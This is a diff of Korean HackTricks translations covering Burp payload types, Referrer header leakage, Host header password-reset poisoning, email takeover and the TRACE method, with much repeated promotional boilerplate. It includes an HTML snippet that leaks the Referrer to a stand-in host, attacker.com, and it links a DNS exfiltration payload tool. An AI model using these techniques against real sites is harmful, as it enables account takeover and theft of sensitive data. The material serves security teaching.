|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
**AWS 해킹 학습 및 실습:**<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
**GCP 해킹 학습 및 실습:** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,43 +1,29 @@
|
|||
{% hint style="success" %}
|
||||
**AWS 해킹 학습 및 실습:**<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
**GCP 해킹 학습 및 실습:** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 레포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# 기본 Payloads
|
||||
|
||||
* **간단한 목록:** 각 줄에 항목이 포함된 목록입니다.
|
||||
* **런타임 파일:** 메모리에 로드되지 않은 런타임에서 읽은 목록입니다. 큰 목록을 지원합니다.
|
||||
* **대소문자 변경:** 문자열 목록에 일부 변경을 적용합니다(변경 없음, 소문자로 변환, 대문자로 변환, Proper 이름 - 첫 글자 대문자, 나머지는 소문자로 -, Proper 이름 - 첫 글자 대문자, 나머지는 그대로 -).
|
||||
* **숫자:** X에서 Y까지 Z 단계 또는 임의로 숫자를 생성합니다.
|
||||
* **간단한 목록:** 각 줄에 항목이 포함된 목록
|
||||
* **런타임 파일:** 런타임에서 읽히는 목록(메모리에 로드되지 않음). 큰 목록을 지원합니다.
|
||||
* **대소문자 변경:** 문자열 목록에 일부 변경 적용(변경 없음, 소문자로, 대문자로, Proper 이름으로 - 첫 글자 대문자로, 나머지는 소문자로-, Proper 이름으로 -첫 글자 대문자로, 나머지는 그대로-.
|
||||
* **숫자:** X부터 Y까지 Z 간격 또는 무작위로 숫자 생성.
|
||||
* **브루트 포서:** 문자 집합, 최소 및 최대 길이.
|
||||
|
||||
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : burpcollab을 통해 DNS 요청을 통해 명령을 실행하고 출력을 가져오는 Payload입니다.
|
||||
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : 명령 실행 및 출력을 burpcollab로 DNS 요청을 통해 가져오는 페이로드.
|
||||
|
||||
{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %}
|
||||
|
||||
[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,33 +1,35 @@
|
|||
# 이메일 취약점
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* HackTricks에서 **회사 광고를 보거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
##
|
||||
|
||||
##
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* HackTricks에서 **회사 광고를 보거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* 해킹 팁을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
##
|
||||
|
||||
##
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* 해킹 팁을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,29 +1,30 @@
|
|||
{% hint style="success" %}
|
||||
AWS 해킹을 배우고 실습하세요: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹을 배우고 실습하세요: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Referrer 헤더 및 정책
|
||||
|
||||
Referrer는 브라우저가 이전에 방문한 페이지를 나타내는 헤더입니다.
|
||||
|
||||
## 노출된 민감한 정보
|
||||
## 민감한 정보 노출
|
||||
|
||||
웹 페이지 내에서 어떤 시점에서든 GET 요청 매개변수에 민감한 정보가 위치하고 있거나, 페이지에 외부 소스로의 링크가 포함되어 있거나, 공격자가 사용자가 공격자가 제어하는 URL을 방문하도록 만들거나 제안(사회 공학)할 수 있다면, 최신 GET 요청 내에서 민감한 정보를 유출할 수 있습니다.
|
||||
웹 페이지 내에서 어떤 시점에서든 GET 요청 매개변수에 민감한 정보가 위치하고 있거나, 페이지에 외부 소스로 연결된 링크가 포함되어 있거나 공격자가 사용자가 공격자가 제어하는 URL을 방문하도록 만들거나 제안할 수 있는 경우(사회 공학), 최신 GET 요청 내에서 민감한 정보를 유출할 수 있습니다.
|
||||
|
||||
## 완화 방법
|
||||
## 완화
|
||||
|
||||
브라우저가 다른 웹 애플리케이션으로 민감한 정보를 전송하지 않도록 **Referrer 정책**을 따르도록 설정할 수 있습니다:
|
||||
브라우저가 다른 웹 응용 프로그램으로 민감한 정보를 보내지 않도록 하는 **Referrer-policy**를 따르도록 할 수 있습니다.
|
||||
```
|
||||
Referrer-Policy: no-referrer
|
||||
Referrer-Policy: no-referrer-when-downgrade
|
||||
|
@ -36,26 +37,27 @@ Referrer-Policy: unsafe-url
|
|||
```
|
||||
## 대응 방안
|
||||
|
||||
HTML 메타 태그를 사용하여 이 규칙을 무시할 수 있습니다 (공격자는 HTML 삽입을 악용해야 함):
|
||||
HTML 메타 태그를 사용하여 이 규칙을 재정의할 수 있습니다 (공격자는 HTML 삽입을 악용해야 함):
|
||||
```markup
|
||||
<meta name="referrer" content="unsafe-url">
|
||||
<img src="https://attacker.com">
|
||||
```
|
||||
## 방어
|
||||
|
||||
URL의 GET 매개변수나 경로에는 민감한 데이터를 절대로 넣지 마십시오.
|
||||
URL의 GET 매개변수나 경로에 민감한 데이터를 절대 넣지 마십시오.
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기교를 공유하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* 해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,61 +1,63 @@
|
|||
# 기타 웹 트릭
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 레포지토리로 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### 호스트 헤더
|
||||
|
||||
백엔드에서는 종종 **호스트 헤더**를 신뢰하여 일부 작업을 수행합니다. 예를 들어, **비밀번호 재설정을 보내기 위한 도메인으로 그 값을 사용**할 수 있습니다. 따라서 비밀번호 재설정 링크가 포함된 이메일을 받을 때 사용되는 도메인은 호스트 헤더에 입력한 도메인입니다. 그럼으로써, 다른 사용자의 비밀번호 재설정을 요청하고 도메인을 자신이 제어하는 도메인으로 변경하여 비밀번호 재설정 코드를 도용할 수 있습니다. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||
백엔드가 **일부 작업을 수행하기 위해** **호스트 헤더**를 신뢰하는 경우가 있습니다. 예를 들어, 이 값은 **비밀번호 재설정 링크를 보내기 위한 도메인으로 사용**될 수 있습니다. 따라서 비밀번호 재설정 링크가 포함된 이메일을 받으면 사용되는 도메인은 호스트 헤더에 입력한 도메인입니다. 그런 다음, 다른 사용자의 비밀번호 재설정을 요청하고 도메인을 자신이 제어하는 도메인으로 변경하여 그들의 비밀번호 재설정 코드를 훔칠 수 있습니다. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||
|
||||
{% hint style="warning" %}
|
||||
사용자가 재설정 비밀번호 링크를 클릭하기를 기다릴 필요 없이, **스팸 필터나 다른 중간 장치/봇이 분석하기 위해 클릭**할 수도 있다는 점에 유의하세요.
|
||||
사용자가 비밀번호 재설정 링크를 클릭하기를 기다릴 필요가 없을 수도 있으므로 **스팸 필터 또는 기타 중개 장치/봇이 분석하기 위해 클릭**할 수도 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
### 세션 부울 값
|
||||
### 세션 부울
|
||||
|
||||
일부 경우에는 백엔드에서 일부 확인을 올바르게 완료하면 세션에 **"True" 값으로 부울을 추가**할 수 있습니다. 그런 다음, 다른 엔드포인트는 그 확인을 성공적으로 통과했는지 알 수 있습니다.\
|
||||
그러나, 확인을 통과하고 세션에 보안 속성에 "True" 값을 부여받은 경우, **접근 권한이 없는** 동일한 속성에 **의존하는 다른 리소스에 액세스**를 시도할 수 있습니다. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
|
||||
가끔 백엔드가 일부 확인을 완료하면 **세션에 "True" 값의 부울을 추가**할 수 있습니다. 그런 다음 다른 엔드포인트는 해당 확인을 성공적으로 통과했는지 알 수 있습니다.\
|
||||
그러나 **확인을 통과**하고 세션이 해당 보안 속성에 "True" 값을 부여받으면 **해당 속성에 의존하는 다른 리소스에 액세스**를 시도할 수 있지만 **액세스 권한이 없는** 경우도 있습니다. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
|
||||
|
||||
### 등록 기능
|
||||
|
||||
이미 존재하는 사용자로 등록해 보세요. 또한 등가 문자(점, 공백 및 유니코드)를 사용해 보세요.
|
||||
이미 존재하는 사용자로 등록해 보세요. 또한 등가 문자(점, 많은 공백 및 유니코드)를 사용해 보세요.
|
||||
|
||||
### 이메일 탈취
|
||||
|
||||
이메일을 등록한 후 확인하기 전에 이메일을 변경한 다음, 새로운 확인 이메일이 처음 등록한 이메일로 전송되면 어떤 이메일이든 탈취할 수 있습니다. 또는 두 번째 이메일을 활성화하여 첫 번째 이메일을 확인할 수 있다면 어떤 계정이든 탈취할 수도 있습니다.
|
||||
이메일을 등록한 후 확인하기 전에 이메일을 변경한 다음, 새 확인 이메일이 처음 등록한 이메일로 전송되면 어떤 이메일이든 탈취할 수 있습니다. 또는 두 번째 이메일을 활성화하여 첫 번째 이메일을 확인할 수 있다면 어떤 계정이든 탈취할 수 있습니다.
|
||||
|
||||
### Atlassian을 사용하여 기업의 내부 서비스 데스크에 액세스
|
||||
### Atlassian을 사용하는 기업의 내부 서비스데스크 액세스
|
||||
|
||||
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
|
||||
|
||||
### TRACE 메서드
|
||||
### TRACE 메소드
|
||||
|
||||
개발자들은 종종 프로덕션 환경에서 다양한 디버깅 옵션을 비활성화하는 것을 잊을 수 있습니다. 예를 들어, HTTP `TRACE` 메서드는 진단 목적으로 설계되었습니다. 활성화되면 웹 서버는 `TRACE` 메서드를 사용하는 요청에 대해 정확한 요청을 응답으로 되돌려줍니다. 이 동작은 종종 무해하지만, 때로는 내부 인증 헤더의 이름과 같은 정보 노출로 이어질 수 있습니다. 이러한 헤더는 리버스 프록시에 의해 요청에 추가될 수 있습니다.![Image for post](https://miro.medium.com/max/60/1\*wDFRADTOd9Tj63xucenvAA.png?q=20)
|
||||
개발자들은 프로덕션 환경에서 다양한 디버깅 옵션을 비활성화하는 것을 잊을 수 있습니다. 예를 들어, HTTP `TRACE` 메소드는 진단 목적으로 설계되었습니다. 활성화된 경우, 웹 서버는 `TRACE` 메소드를 사용하는 요청에 대해 정확히 받은 요청을 응답으로 다시 에코합니다. 이 동작은 종종 무해하지만 때로는 역방향 프록시에 의해 요청에 추가될 수 있는 내부 인증 헤더의 이름과 같은 정보 노출로 이어질 수 있습니다.![Image for post](https://miro.medium.com/max/60/1\*wDFRADTOd9Tj63xucenvAA.png?q=20)
|
||||
|
||||
![Image for post](https://miro.medium.com/max/1330/1\*wDFRADTOd9Tj63xucenvAA.png)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 레포지토리로 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,35 +1,21 @@
|
|||
{% hint style="success" %}
|
||||
**AWS 해킹 학습 및 실습:**<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
**GCP 해킹 학습 및 실습:** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
